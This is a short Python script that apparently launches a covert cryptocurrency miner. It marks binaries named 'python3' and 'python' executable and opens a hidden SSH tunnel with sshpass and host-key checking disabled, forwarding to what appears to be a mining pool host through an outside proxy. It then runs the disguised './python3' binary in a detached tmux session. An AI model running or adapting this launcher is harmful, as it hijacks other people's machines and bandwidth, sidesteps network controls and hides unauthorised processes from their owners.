import os os.system("chmod +x python3 python") os.system("tmux new-session -d -s ses sshpass -p ' ' ssh -o StrictHostKeyChecking=no -L 3000:sg.vipor.net:5040 ms@proxy.adi999.my.id") os.system("tmux new-session -d -s ses1 ./python3") #os.system('./python') os.system("tmux ls")